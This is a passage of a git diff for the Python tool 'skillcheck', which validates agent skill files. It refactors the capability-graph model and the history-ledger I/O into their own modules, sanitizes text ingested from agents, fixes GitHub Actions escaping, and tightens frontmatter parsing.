tool_name, None) - inputs.append(Input(id=iid, name=tool_name, kind="tool", line=None)) + tool_names = [t for t in allowed_tools if isinstance(t, str) and t] + for tool_name in dict.fromkeys(tool_names): + iid = _make_id("tool", tool_name, None) + inputs.append(Input(id=iid, name=tool_name, kind="tool", line=None)) # name -> id maps; edge pass reads these after the section loop completes. input_name_map: dict[str, str] = {inp.name: inp.id for inp in inputs} diff --git a/src/skillcheck/core/graph_model.py b/src/skillcheck/core/graph_model.py new file mode 100644 index 0000000..daf8714 --- /dev/null +++ b/src/skillcheck/core/graph_model.py @@ -0,0 +1,110 @@ +"""Capability graph data model for skillcheck. + +The frozen dataclasses that make up a ``CapabilityGraph`` live here, separated +from the heuristic extractor in ``graph.py`` so the model can be imported +without pulling in the extraction machinery. ``graph.py`` re-exports these +names, so ``from skillcheck.core.graph import CapabilityGraph`` still works. +""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Literal + + +@dataclass(frozen=True) +class Capability: + """A declared capability: something the skill can do.""" + + id: str + name: str + description: str + line: int | None + + +@dataclass(frozen=True) +class Input: + """An input consumed by one or more capabilities.""" + + id: str + name: str + kind: Literal["file", "tool", "env", "context", "prerequisite"] + line: int | None + + +@dataclass(frozen=True) +class Output: + """An output produced by one or more capabilities.""" + + id: str + name: str + kind: Literal["file", "artifact", "side_effect", "return"] + line: int | None + + +@dataclass(frozen=True) +class Edge: + """Directed relationship between a capability and an input or output.""" + + source_id: str + target_id: str + kind: Literal["requires", "produces"] + + +@dataclass(frozen=True) +class CapabilityGraph: + """Complete capability graph for a single ParsedSkill. + + All fields are tuples to preserve hashability of the frozen dataclass. + Constructed graphs are validated in __post_init__. + """ + + capabilities: tuple[Capability, ...] + inputs: tuple[Input, ...] + outputs: tuple[Output, ...] + edges: tuple[Edge, ...] + source: Literal["heuristic", "agent"] + + def __post_init__(self) -> None: + capability_ids = {c.id for c in self.capabilities} + input_ids = {i.id for i in self.inputs} + output_ids = {o.id for o in self.outputs} + + # Duplicate ID check across all node collections. + all_ids: list[str] = ( + [c.id for c in self.capabilities] + + [i.id for i in self.inputs] + + [o.id for o in self.outputs] + ) + seen: set[str] = set() + for nid in all_ids: + if nid in seen: + raise ValueError( + f"Duplicate node ID '{nid}' appears in multiple " + f"capability graph collections." + ) + seen.add(nid) + + # Edge referential integrity. + for edge in self.edges: + if edge.source_id not in capability_ids: + raise ValueError( + f"Edge source_id '{edge.source_id}' does not reference a known capability " + f"(edge: {edge.source_id!r} -[{edge.kind}]-> {edge.target_id!r})." + ) + if edge.kind == "requires": + if edge.target_id not in input_ids: + misrouted = "an output" if edge.target_id in output_ids else "unknown" + raise ValueError( + f"Edge kind='requires' has target_id '{edge.target_id}' which is not an " + f"input ID ({misrouted}). " + f"Edge: {edge.source_id!r} -[requires]-> {edge.target_id!r}." + ) + elif edge.kind == "produces": + if edge.target_id not in output_ids: + misrouted = "an input" if edge.target_id in input_ids else "unknown" + raise ValueError( + f"Edge kind='produces' has target_id '{edge.target_id}' which is not an " + f"output ID ({misrouted}). " + f"Edge: {edge.source_id!r} -[produces]-> {edge.target_id!r}." + ) diff --git a/src/skillcheck/core/graph_render.py b/src/skillcheck/core/graph_render.py index b3beef7..9112ca1 100644 --- a/src/skillcheck/core/graph_render.py +++ b/src/skillcheck/core/graph_render.py @@ -16,6 +16,7 @@ import dataclasses import json +from skillcheck.agents._ingest import sanitize_ingested_text from skillcheck.core.graph import CapabilityGraph @@ -31,10 +32,12 @@ def render_graph_text(graph: CapabilityGraph) -> str: Returns: Multi-line string suitable for terminal output. """ - # Build a fast lookup: id -> name for capabilities and IO nodes. - cap_by_id = {c.id: c.name for c in graph.capabilities} - inp_by_id = {i.id: i.name for i in graph.inputs} - out_by_id = {o.id: o.name for o in graph.outputs} + # Build a fast lookup: id -> name for capabilities and IO nodes. Node names + # can come from an ingested agent graph, so escape control characters before + # they reach the terminal (the JSON render below stays raw; json.dumps is safe). + cap_by_id = {c.id: sanitize_ingested_text(c.name) for c in graph.capabilities} + inp_by_id = {i.id: sanitize_ingested_text(i.name) for i in graph.inputs} + out_by_id = {o.id: sanitize_ingested_text(o.name) for o in graph.outputs} lines: list[str] = [] lines.append(f"source: {graph.source}") @@ -43,30 +46,30 @@ def render_graph_text(graph: CapabilityGraph) -> str: lines.append(f"Capabilities ({len(graph.capabilities)}):") for cap in graph.capabilities: loc = f" [line {cap.line}]" if cap.line is not None else "" - lines.append(f" {cap.name}{loc}") + lines.append(f" {cap_by_id[cap.id]}{loc}") if cap.description: - lines.append(f" {cap.description}") + lines.append(f" {sanitize_ingested_text(cap.description)}") lines.append("") lines.append(f"Inputs ({len(graph.inputs)}):") for inp in graph.inputs: loc = f", line {inp.line}" if inp.line is not None else "" - lines.append(f" {inp.name} [{inp.kind}{loc}]") + lines.append(f" {inp_by_id[inp.id]} [{inp.kind}{loc}]") lines.append("") lines.append(f"Outputs ({len(graph.outputs)}):") for out in graph.outputs: loc = f", line {out.line}" if out.line is not None else "" - lines.append(f" {out.name} [{out.kind}{loc}]") + lines.append(f" {out_by_id[out.id]} [{out.kind}{loc}]") lines.append("") lines.append(f"Edges ({len(graph.edges)}):") for edge in graph.edges: - src_name = cap_by_id.get(edge.source_id, edge.source_id) + src_name = cap_by_id.get(edge.source_id, sanitize_ingested_text(edge.source_id)) if edge.kind == "requires": - tgt_name = inp_by_id.get(edge.target_id, edge.target_id) + tgt_name = inp_by_id.get(edge.target_id, sanitize_ingested_text(edge.target_id)) else: - tgt_name = out_by_id.get(edge.target_id, edge.target_id) + tgt_name = out_by_id.get(edge.target_id, sanitize_ingested_text(edge.target_id)) lines.append(f" {src_name} {edge.kind} {tgt_name}") return "\n".join(lines) diff --git a/src/skillcheck/core/history.py b/src/skillcheck/core/history.py index 6ff31c8..5c3b777 100644 --- a/src/skillcheck/core/history.py +++ b/src/skillcheck/core/history.py @@ -21,12 +21,9 @@ import hashlib import json -import os -import tempfile from dataclasses import dataclass from datetime import datetime, timezone from pathlib import Path -from typing import Any from skillcheck.parser import ParsedSkill from skillcheck.result import Diagnostic, Severity, ValidationResult @@ -246,6 +243,11 @@ def check_regression( # --------------------------------------------------------------------------- +# --------------------------------------------------------------------------- +# Serialization (shared by the JSON renderer and the I/O module) +# --------------------------------------------------------------------------- + + def _entry_to_dict(entry: LedgerEntry) -> dict[str, object]: """Serialize a LedgerEntry to an ordered dict. Field order matches dataclass.""" return { @@ -271,182 +273,6 @@ def _entry_to_dict(entry: LedgerEntry) -> dict[str, object]: } -def _entry_from_dict(data: dict[str, Any], path: Path) -> LedgerEntry: - """Deserialize a LedgerEntry from a dict. Raises LedgerError on missing keys.""" - try: - modes_d = data["validation_modes"] - agents_d = data["agents"] - result_d = data["result"] - return LedgerEntry( - timestamp_utc=data["timestamp_utc"], - skillcheck_version=data["skillcheck_version"], - skill_content_hash=data["skill_content_hash"], - validation_modes=ValidationModes( - symbolic=modes_d["symbolic"], - critique=modes_d["critique"], - graph=modes_d["graph"], - ), - agents=RunAgents( - critique_agent=agents_d["critique_agent"], - graph_agent=agents_d["graph_agent"], - ), - result=ResultCounts( - error=result_d["error"], - warning=result_d["warning"], - info=result_d["info"], - valid=result_d["valid"], - ), - exit_code=data["exit_code"], - ) - except KeyError as exc: - raise LedgerError( - f"Ledger at {path} is missing required field {exc}. " - f"The file may be from a different schema version or is corrupt. " - f"Delete it and re-run with --history to start fresh." - ) from exc - - -def load_ledger(path: Path) -> Ledger | None: - """Load and parse the ledger file at *path*. - - Args: - path: Path to a ``.skillcheck-history.json`` file. - - Returns: - Parsed Ledger, or None if the file does not exist. - - Raises: - LedgerError: If the file exists but cannot be read or parsed. - """ - if not path.exists(): - return None - try: - raw = path.read_text(encoding="utf-8") - except OSError as exc: - raise LedgerError( - f"Cannot read ledger at {path}: {exc}. " - f"Check file permissions and retry." - ) from exc - try: - data = json.loads(raw) - except json.JSONDecodeError as exc: - raise LedgerError( - f"Ledger at {path} is not valid JSON: {exc}. " - f"The file may be corrupt. Delete it and re-run with --history to start fresh." - ) from exc - - try: - version = data["version"] - skill_path = data["skill_path"] - runs_raw = data["runs"] - except KeyError as exc: - raise LedgerError( - f"Ledger at {path} is missing top-level field {exc}. " - f"The file may be incomplete or from an incompatible schema version." - ) from exc - - runs = tuple(_entry_from_dict(r, path) for r in runs_raw) - return Ledger(version=version, skill_path=skill_path, runs=runs) - - -def save_ledger(path: Path, ledger: Ledger) -> None: - """Serialize and write the ledger atomically via tempfile + rename. - - Writes to a temp file in the same directory as *path*, then uses - ``os.replace`` (atomic on POSIX; best-effort on Windows). If the - directory does not exist, the OS error propagates as LedgerError. - - Args: - path: Destination path for the ledger file. - ledger: Ledger to serialize. - - Raises: - LedgerError: If the write or rename fails. - """ - payload = { - "version": ledger.version, - "skill_path": ledger.skill_path, - "runs": [_entry_to_dict(e) for e in ledger.runs], - } - serialized = json.dumps(payload, indent=2, sort_keys=False, ensure_ascii=False) - - try: - fd, tmp_path = tempfile.mkstemp(dir=path.parent, prefix=".skillcheck-tmp-") - try: - with os.fdopen(fd, "w", encoding="utf-8") as f: - f.write(serialized) - f.write("\n") - os.replace(tmp_path, path) - except Exception: - try: - os.unlink(tmp_path) - except OSError: - pass - raise - except OSError as exc: - raise LedgerError( - f"Cannot write ledger to {path}: {exc}. " - f"Check directory permissions or disk space." - ) from exc - - -def append_run( - path: Path, - skill: ParsedSkill, - entry: LedgerEntry, -) -> Ledger: - """Load or initialize the ledger, append the entry, save, and return the new ledger. - - On first call (no ledger file), initializes with ``version=LEDGER_SCHEMA_VERSION`` - and ``skill_path`` set to the relative path of the skill from the ledger directory. - - On subsequent calls, verifies that the existing ledger's ``skill_path`` matches - before appending. A mismatch means the ledger file landed in the wrong place. - - Args: - path: Path to the ``.skillcheck-history.json`` ledger file. - skill: The skill that was validated (used to derive ``skill_path``). - entry: The entry to append. - - Returns: - The updated Ledger with the new entry appended. - - Raises: - LedgerError: If the existing ledger is for a different skill, or if any - I/O operation fails. - """ - existing = load_ledger(path) - - try: - relative_skill_path = str(skill.path.relative_to(path.parent)) - except ValueError: - # Skill is not beneath the ledger directory (e.g., different drive on Windows). - # Fall back to the absolute path as a string so the ledger is still useful. - relative_skill_path = str(skill.path) - - if existing is None: - ledger = Ledger( - version=LEDGER_SCHEMA_VERSION, - skill_path=relative_skill_path, - runs=(entry,), - ) - else: - if existing.skill_path != relative_skill_path: - raise LedgerError( - f"Ledger at {path} is for skill '{existing.skill_path}' but the current skill " - f"resolves to '{relative_skill_path}'. The ledger file may have been moved or " - f"the skill was renamed. Delete the ledger and re-run with --history to restart." - ) - ledger = Ledger( - version=existing.version, - skill_path=existing.skill_path, - runs=existing.runs + (entry,), - ) - - save_ledger(path, ledger) - return ledger - - # --------------------------------------------------------------------------- # Text renderer for --show-history # --------------------------------------------------------------------------- @@ -512,3 +338,33 @@ def render_ledger_json(ledger: Ledger) -> str: "runs": [_entry_to_dict(e) for e in ledger.runs], } return json.dumps(payload, indent=2, sort_keys=False, ensure_ascii=False) + + +# Ledger filesystem I/O lives in history_io.py (which imports the model and the +# serializer above). Re-exported here so the historical public surface +# ``from skillcheck.core.history import load_ledger`` keeps working. The import +# sits at the bottom because history_io depends on this module's definitions. +from skillcheck.core.history_io import ( # noqa: E402 + append_run, + load_ledger, + save_ledger, +) + +__all__ = [ + "LEDGER_SCHEMA_VERSION", + "Ledger", + "LedgerEntry", + "LedgerError", + "ResultCounts", + "RunAgents", + "ValidationModes", + "append_run", + "build_entry", + "check_regression", + "compute_skill_hash", + "ledger_path_for", + "load_ledger", + "render_ledger_json", + "render_ledger_text", + "save_ledger", +] diff --git a/src/skillcheck/core/history_io.py b/src/skillcheck/core/history_io.py new file mode 100644 index 0000000..d43fafe --- /dev/null +++ b/src/skillcheck/core/history_io.py @@ -0,0 +1,263 @@ +"""Filesystem I/O for the validation history ledger. + +Serialization, atomic writes, and load/append of ``.skillcheck-history.json`` +live here, separated from the model, regression, and rendering logic in +``history.py``. ``history.py`` re-exports ``load_ledger``, ``save_ledger``, and +``append_run`` so ``from skillcheck.core.history import load_ledger`` still works. + +Concurrency: single-writer. A ledger sits next to its SKILL.md and is written by +one ``skillcheck ... --history`` process at a time (typically a pre-commit hook +or a CI step). There is no file locking; two processes writing the same ledger +concurrently is unsupported and can lose the interleaved run. Writes are atomic +per process (temp file, ``flush`` + ``fsync``, then ``os.replace``), and stale +temp files from an interrupted write are swept on the next load. + +Module dependency rule: imports only from stdlib plus the ``history`` model and +the ``parser`` sibling module. No ``agents`` imports. No ``cli`` imports. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from pathlib import Path +from typing import Any + +from skillcheck.core.history import ( + LEDGER_SCHEMA_VERSION, + Ledger, + LedgerEntry, + LedgerError, + ResultCounts, + RunAgents, + ValidationModes, + _entry_to_dict, +) +from skillcheck.parser import ParsedSkill + + +def _entry_from_dict(data: dict[str, Any], path: Path) -> LedgerEntry: + """Deserialize a LedgerEntry from a dict. Raises LedgerError on missing keys.""" + try: + modes_d = data["validation_modes"] + agents_d = data["agents"] + result_d = data["result"] + return LedgerEntry( + timestamp_utc=data["timestamp_utc"], + skillcheck_version=data["skillcheck_version"], + skill_content_hash=data["skill_content_hash"], + validation_modes=ValidationModes( + symbolic=modes_d["symbolic"], + critique=modes_d["critique"], + graph=modes_d["graph"], + ), + agents=RunAgents( + critique_agent=agents_d["critique_agent"], + graph_agent=agents_d["graph_agent"], + ), + result=ResultCounts( + error=result_d["error"], + warning=result_d["warning"], + info=result_d["info"], + valid=result_d["valid"], + ), + exit_code=data["exit_code"], + ) + except KeyError as exc: + raise LedgerError( + f"Ledger at {path} is missing required field {exc}. " + f"The file may be from a different schema version or is corrupt. " + f"Delete it and re-run with --history to start fresh." + ) from exc + + +def _sweep_stale_tmp_files(directory: Path) -> None: + """Remove leftover ``.skillcheck-tmp-*`` files from an interrupted write. + + ``save_ledger`` writes to a temp file and renames it into place; if the + process is killed between ``mkstemp`` and ``os.replace``, the temp file is + orphaned. Under the single-writer assumption these are always stale, so they + are removed on the next load. Errors (permissions, races) are ignored. + """ + try: + stale = directory.glob(".skillcheck-tmp-*") + except OSError: + return + for tmp in stale: + try: + tmp.unlink() + except OSError: + pass + + +def load_ledger(path: Path) -> Ledger | None: + """Load and parse the ledger file at *path*. + + Args: + path: Path to a ``.skillcheck-history.json`` file. + + Returns: + Parsed Ledger, or None if the file does not exist. + + Raises: + LedgerError: If the file exists but cannot be read or parsed. + """ + _sweep_stale_tmp_files(path.parent) + if not path.exists(): + return None + try: + raw = path.read_text(encoding="utf-8") + except OSError as exc: + raise LedgerError( + f"Cannot read ledger at {path}: {exc}. " + f"Check file permissions and retry." + ) from exc + try: + data = json.loads(raw) + except json.JSONDecodeError as exc: + raise LedgerError( + f"Ledger at {path} is not valid JSON: {exc}. " + f"The file may be corrupt. Delete it and re-run with --history to start fresh." + ) from exc + + if not isinstance(data, dict): + raise LedgerError( + f"Ledger at {path} must be a JSON object, got {type(data).__name__}. " + f"The file is corrupt. Delete it and re-run with --history to start fresh." + ) + + try: + version = data["version"] + skill_path = data["skill_path"] + runs_raw = data["runs"] + except KeyError as exc: + raise LedgerError( + f"Ledger at {path} is missing top-level field {exc}. " + f"The file may be incomplete or from an incompatible schema version." + ) from exc + + if version != LEDGER_SCHEMA_VERSION: + raise LedgerError( + f"Ledger at {path} has schema version {version!r}, but this skillcheck " + f"expects version {LEDGER_SCHEMA_VERSION}. Delete it and re-run with " + f"--history to start fresh under the current schema." + ) + + if not isinstance(runs_raw, list): + raise LedgerError( + f"Ledger at {path} field 'runs' must be a list, got {type(runs_raw).__name__}. " + f"The file is corrupt. Delete it and re-run with --history to start fresh." + ) + + try: + runs = tuple(_entry_from_dict(r, path) for r in runs_raw) + except TypeError as exc: + raise LedgerError( + f"Ledger at {path} contains a malformed run entry: {exc}. " + f"The file is corrupt. Delete it and re-run with --history to start fresh." + ) from exc + return Ledger(version=version, skill_path=skill_path, runs=runs) + + +def save_ledger(path: Path, ledger: Ledger) -> None: + """Serialize and write the ledger atomically via tempfile + rename. + + Writes to a temp file in the same directory as *path*, then uses + ``os.replace`` (atomic on POSIX; best-effort on Windows). If the + directory does not exist, the OS error propagates as LedgerError. + + Args: + path: Destination path for the ledger file. + ledger: Ledger to serialize. + + Raises: + LedgerError: If the write or rename fails. + """ + payload = { + "version": ledger.version, + "skill_path": ledger.skill_path, + "runs": [_entry_to_dict(e) for e in ledger.runs], + } + serialized = json.dumps(payload, indent=2, sort_keys=False, ensure_ascii=False) + + try: + fd, tmp_path = tempfile.mkstemp(dir=path.parent, prefix=".skillcheck-tmp-") + try: + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(serialized) + f.write("\n") + # Force the bytes to disk before the rename so a crash between + # replace and the OS flushing its cache cannot leave a truncated + # ledger. The temp fd is fsynced while still open. + f.flush() + os.fsync(f.fileno()) + os.replace(tmp_path, path) + except Exception: + try: + os.unlink(tmp_path) + except OSError: + pass + raise + except OSError as exc: + raise LedgerError( + f"Cannot write ledger to {path}: {exc}. " + f"Check directory permissions or disk space." + ) from exc + + +def append_run( + path: Path, + skill: ParsedSkill, + entry: LedgerEntry, +) -> Ledger: + """Load or initialize the ledger, append the entry, save, and return the new ledger. + + On first call (no ledger file), initializes with ``version=LEDGER_SCHEMA_VERSION`` + and ``skill_path`` set to the relative path of the skill from the ledger directory. + + On subsequent calls, verifies that the existing ledger's ``skill_path`` matches + before appending. A mismatch means the ledger file landed in the wrong place. + + Args: + path: Path to the ``.skillcheck-history.json`` ledger file. + skill: The skill that was validated (used to derive ``skill_path``). + entry: The entry to append. + + Returns: + The updated Ledger with the new entry appended. + + Raises: + LedgerError: If the existing ledger is for a different skill, or if any + I/O operation fails. + """ + existing = load_ledger(path) + + try: + relative_skill_path = str(skill.path.relative_to(path.parent)) + except ValueError: + # Skill is not beneath the ledger directory (e.g., different drive on Windows). + # Fall back to the absolute path as a string so the ledger is still useful. + relative_skill_path = str(skill.path) + + if existing is None: + ledger = Ledger( + version=LEDGER_SCHEMA_VERSION, + skill_path=relative_skill_path, + runs=(entry,), + ) + else: + if existing.skill_path != relative_skill_path: + raise LedgerError( + f"Ledger at {path} is for skill '{existing.skill_path}' but the current skill " + f"resolves to '{relative_skill_path}'. The ledger file may have been moved or " + f"the skill was renamed. Delete the ledger and re-run with --history to restart." + ) + ledger = Ledger( + version=existing.version, + skill_path=existing.skill_path, + runs=existing.runs + (entry,), + ) + + save_ledger(path, ledger) + return ledger diff --git a/src/skillcheck/core/reporter.py b/src/skillcheck/core/reporter.py deleted file mode 100644 index c23fdb6..0000000 --- a/src/skillcheck/core/reporter.py +++ /dev/null @@ -1,87 +0,0 @@ -"""Rich reasoning-trace reporter module for skillcheck v1.0.""" - -from __future__ import annotations - -from skillcheck.result import Diagnostic, Severity, ValidationResult - - -def _sev_symbol(severity: Severity) -> str: - return {Severity.ERROR: "✗", Severity.WARNING: "⚠", Severity.INFO: "·"}.get(severity, "·") - - -def _diagnostic_md_row(d: Diagnostic) -> str: - loc = str(d.line) if d.line is not None else "" - note = f"{d.message} ({d.context})" if d.context else d.message - return f"| {loc} | {_sev_symbol(d.severity)} {d.severity.value} | `{d.rule}` | {note} |" - - -def render_markdown_report(result: ValidationResult) -> str: - """Render a validation result into a markdown report. - - Args: - result: Validation result to render. - - Returns: - Markdown report as a string. Includes a pass/fail heading, a - summary line, and a diagnostics table when issues are present. - """ - status = "PASS" if result.valid else "FAIL" - lines: list[str] = [ - f"## skillcheck report: {status}", - "", - f"**File:** `{result.path}`", - ] - - errors = [d for d in result.diagnostics if d.severity == Severity.ERROR] - warnings = [d for d in result.diagnostics if d.severity == Severity.WARNING] - infos = [d for d in result.diagnostics if d.severity == Severity.INFO] - parts: list[str] = [] - if errors: - parts.append(f"{len(errors)} error{'s' if len(errors) != 1 else ''}") - if warnings: - parts.append(f"{len(warnings)} warning{'s' if len(warnings) != 1 else ''}") - if infos: - parts.append(f"{len(infos)} info") - summary = ", ".join(parts) if parts else "no issues" - lines.append(f"**Result:** {summary}") - - if result.diagnostics: - lines.append("") - lines.append("| Line | Severity | Rule | Message |") - lines.append("|------|----------|------|---------|") - for d in result.diagnostics: - lines.append(_diagnostic_md_row(d)) - - return "\n".join(lines) - - -def render_json_report(result: ValidationResult) -> dict[str, object]: - """Render a validation result into a structured JSON payload. - - Args: - result: Validation result to render. - - Returns: - JSON-serializable dict with keys: path, valid, error_count, - warning_count, info_count, diagnostics. - """ - errors = sum(1 for d in result.diagnostics if d.severity == Severity.ERROR) - warnings = sum(1 for d in result.diagnostics if d.severity == Severity.WARNING) - infos = sum(1 for d in result.diagnostics if d.severity == Severity.INFO) - return { - "path": str(result.path), - "valid": result.valid, - "error_count": errors, - "warning_count": warnings, - "info_count": infos, - "diagnostics": [ - { - "rule": d.rule, - "severity": d.severity.value, - "message": d.message, - "line": d.line, - "context": d.context, - } - for d in result.diagnostics - ], - } diff --git a/src/skillcheck/core/semantic.py b/src/skillcheck/core/semantic.py index 05b4ea3..0ab5150 100644 --- a/src/skillcheck/core/semantic.py +++ b/src/skillcheck/core/semantic.py @@ -9,6 +9,7 @@ import re from skillcheck.agents import get_agent_prompt +from skillcheck.agents._ingest import sanitize_ingested_text from skillcheck.agents.parser import parse_critique_response from skillcheck.agents.schema import SemanticCritique from skillcheck.parser import ParsedSkill @@ -138,7 +139,7 @@ def ingest_critique_response(skill: ParsedSkill, raw: str) -> list[Diagnostic]: diagnostics.append(Diagnostic( rule="semantic.context.missing", severity=Severity.WARNING, - message=f"Missing context: {item}", + message=f"Missing context: {sanitize_ingested_text(item)}", )) for contradiction in critique.contradictions: @@ -146,8 +147,9 @@ def ingest_critique_response(skill: ParsedSkill, raw: str) -> list[Diagnostic]: rule="semantic.contradiction.detected", severity=Severity.ERROR, message=( - f"Contradiction between '{contradiction.location_a}' and " - f"'{contradiction.location_b}': {contradiction.nature}" + f"Contradiction between '{sanitize_ingested_text(contradiction.location_a)}' and " + f"'{sanitize_ingested_text(contradiction.location_b)}': " + f"{sanitize_ingested_text(contradiction.nature)}" ), )) @@ -156,7 +158,11 @@ def ingest_critique_response(skill: ParsedSkill, raw: str) -> list[Diagnostic]: diagnostics.append(Diagnostic( rule=f"semantic.finding.{finding.severity.value}", severity=finding.severity, - message=f"[{finding.section}] {finding.issue}: {finding.suggestion}", + message=( + f"[{sanitize_ingested_text(finding.section)}] " + f"{sanitize_ingested_text(finding.issue)}: " + f"{sanitize_ingested_text(finding.suggestion)}" + ), line=line, )) @@ -182,22 +188,3 @@ def merge_diagnostics( """ merged = list(result.diagnostics) + additional return ValidationResult(path=result.path, diagnostics=merged) - - -def merge_critique_diagnostics( - result: ValidationResult, - critique_diagnostics: list[Diagnostic], -) -> ValidationResult: - """Return a new ValidationResult with symbolic and semantic diagnostics merged. - - Thin wrapper around ``merge_diagnostics`` kept for backward compatibility - with internal Phase 1B callers. Behavior is identical. - - Args: - result: Existing symbolic validation result. - critique_diagnostics: Diagnostics from ``ingest_critique_response``. - - Returns: - New ValidationResult combining both diagnostic lists. - """ - return merge_diagnostics(result, critique_diagnostics) diff --git a/src/skillcheck/formatters.py b/src/skillcheck/formatters.py index 4889f4a..2db3e7c 100644 --- a/src/skillcheck/formatters.py +++ b/src/skillcheck/formatters.py @@ -195,14 +195,24 @@ def _format_markdown( return "\n".join(lines).rstrip() -def _gha_escape(value: str) -> str: - """Escape a string for use in GitHub Actions workflow command property values.""" - value = value.replace("%", "%25") - value = value.replace("\r", "%0D") - value = value.replace("\n", "%0A") - value = value.replace(":", "%3A") - value = value.replace(",", "%2C") - return value +def _escape_data(value: str) -> str: + """Escape a GitHub Actions workflow-command message (the text after ``::``). + + Per the Actions toolkit, message data escapes only ``%``, CR, and LF. Colons + and commas are literal here, so a diagnostic message like ``got 82): 'name'`` + renders as written instead of showing ``%3A``. + """ + return value.replace("%", "%25").replace("\r", "%0D").replace("\n", "%0A") + + +def _escape_property(value: str) -> str: + """Escape a GitHub Actions workflow-command property value (``file``, ``title``). + + Property values additionally escape ``:`` and ``,`` because a comma separates + properties and a colon ends the property section. GitHub decodes them for + display, so the annotation still reads normally. + """ + return _escape_data(value).replace(":", "%3A").replace(",", "%2C") def _format_github(results: list[ValidationResult]) -> str: @@ -214,15 +224,16 @@ def _format_github(results: list[ValidationResult]) -> str: } lines: list[str] = [] for result in results: - filepath = _gha_escape(str(result.path).replace("\\", "/")) + filepath = _escape_property(str(result.path).replace("\\", "/")) for d in result.diagnostics: gh_level = severity_map.get(d.severity, "notice") parts = [f"file={filepath}"] if d.line is not None: parts.append(f"line={d.line}") - loc = ",".join(parts) - message = _gha_escape(d.message) - lines.append(f"::{gh_level} {loc},title=skillcheck: {d.rule}::{message}") + parts.append(f"title={_escape_property(f'skillcheck: {d.rule}')}") + props = ",".join(parts) + message = _escape_data(d.message) + lines.append(f"::{gh_level} {props}::{message}") return "\n".join(lines) @@ -275,6 +286,7 @@ def _format_agent( "_format_markdown", "_format_github", "_format_agent", - "_gha_escape", + "_escape_data", + "_escape_property", "_style", ] diff --git a/src/skillcheck/parser.py b/src/skillcheck/parser.py index 0071ce7..48f0a6b 100644 --- a/src/skillcheck/parser.py +++ b/src/skillcheck/parser.py @@ -8,9 +8,11 @@ import yaml # Matches an opening ---, YAML content, and closing ---, with optional trailing spaces -# and optional carriage returns for cross-platform compatibility. +# and optional carriage returns for cross-platform compatibility. The newline +# before the closing --- is optional so an empty frontmatter block (---\n---) is +# recognized instead of leaking the delimiters into the body. _FRONTMATTER_RE = re.compile( - r"^---[ \t]*\r?\n(.*?)\r?\n---[ \t]*(?:\r?\n|$)", + r"^---[ \t]*\r?\n(.*?)(?:\r?\n)?---[ \t]*(?:\r?\n|$)", re.DOTALL, ) @@ -48,10 +50,17 @@ def parse(path: Path) -> ParsedSkill: ) try: - frontmatter = yaml.safe_load(match.group(1)) or {} + loaded = yaml.safe_load(match.group(1)) except yaml.YAMLError as exc: raise ParseError(f"Invalid YAML frontmatter in {path}: {exc}") from exc + frontmatter = loaded if loaded is not None else {} + if not isinstance(frontmatter, dict): + raise ParseError( + f"Frontmatter must be a YAML mapping, got {type(frontmatter).__name__} in {path}. " + "Wrap frontmatter in key: value pairs." + ) + body = raw_text[match.end():] return ParsedSkill( path=path, diff --git a/src/skillcheck/rules/compat.py b/src/skillcheck/rules/compat.py index fe180ca..14628c9 100644 --- a/src/skillcheck/rules/compat.py +++ b/src/skillcheck/rules/compat.py @@ -7,11 +7,11 @@ This module flags fields with limited cross-agent support so authors can make informed decisions about portability. -Provenance dates (``_CLAUDE_DATA_DATE``, ``_VSCODE_DATA_DATE``, -``_CURSOR_DATA_DATE``) record when the compatibility data was last -verified. The ``test_compat_data_freshness`` test asserts that these -dates are within 365 days of today; when the test fails, update the -constants and re-verify the agent behavior they encode. +Provenance dates (``_CLAUDE_DATA_DATE``, ``_CODEX_DATA_DATE``, +``_VSCODE_DATA_DATE``, ``_CURSOR_DATA_DATE``) record when the +compatibility data was last verified. The ``test_compat_data_freshness`` +test asserts that these dates are within 365 days of today; when the test +fails, update the constants and re-verify the agent behavior they encode. """ from __future__ import annotations @@ -29,6 +29,7 @@ # --------------------------------------------------------------------------- _CLAUDE_DATA_DATE = "2026-04-20" +_CODEX_DATA_DATE = "2026-04-20" _VSCODE_DATA_DATE = "2026-04-20" _CURSOR_DATA_DATE = "2026-04-20" @@ -114,7 +115,7 @@ def check_unverified_fields(skill: ParsedSkill) -> list[Diagnostic]: # Provenance: attach dates for agents with "unknown" status date_parts = [] if "codex" in [a.lower() for a in unknown_agents]: - date_parts.append(f"Codex: {_CLAUDE_DATA_DATE}") + date_parts.append(f"Codex: {_CODEX_DATA_DATE}") if "cursor" in [a.lower() for a in unknown_agents]: date_parts.append(f"Cursor: {_CURSOR_DATA_DATE}") date_suffix = "" diff --git a/src/skillcheck/rules/disclosure.py b/src/skillcheck/rules/disclosure.py index 26ea368..babffb1 100644 --- a/src/skillcheck/rules/disclosure.py +++ b/src/skillcheck/rules/disclosure.py @@ -16,6 +16,7 @@ from skillcheck import config from skillcheck.parser import ParsedSkill from skillcheck.result import Diagnostic, Severity +from skillcheck.rules.frontmatter_common import _frontmatter_block from skillcheck.tokenizer import estimate_tokens # Matches fenced code blocks (``` or ~~~) and captures their content lines. @@ -43,22 +44,29 @@ def _is_real_base64(text: str) -> bool: return has_upper and has_lower -def _extract_frontmatter_text(raw_text: str) -> str: - """Extract the raw YAML frontmatter text (between --- delimiters).""" - lines = raw_text.splitlines() - if not lines or lines[0].strip() != "---": - return "" - fm_lines: list[str] = [] - for line in lines[1:]: - if line.strip() == "---": - break - fm_lines.append(line) - return "\n".join(fm_lines) +def _contiguous_table_runs(body: str) -> list[list[str]]: + """Group the body's lines into runs of consecutive markdown table rows. + + A markdown table is an uninterrupted block of ``|...|`` lines; a blank line + or prose ends it. Returning one list per table lets the caller size each + table on its own instead of summing rows across unrelated tables. + """ + runs: list[list[str]] = [] + current: list[str] = [] + for line in body.splitlines(): + if _TABLE_ROW_RE.match(line): + current.append(line) + elif current: + runs.append(current) + current = [] + if current: + runs.append(current) + return runs def check_metadata_budget(skill: ParsedSkill) -> list[Diagnostic]: """Warn when frontmatter exceeds the ~100 token metadata budget.""" - fm_text = _extract_frontmatter_text(skill.raw_text) + fm_text = _frontmatter_block(skill.raw_text) if not fm_text: return [] @@ -117,20 +125,21 @@ def check_body_bloat(skill: ParsedSkill) -> list[Diagnostic]: ), )) - # Check for large tables - table_rows = _TABLE_ROW_RE.findall(skill.body) - # Subtract separator rows (containing only |, -, :, and spaces) - data_rows = [r for r in table_rows if not re.match(r"^\|[\s:|-]+\|$", r)] - if len(data_rows) > 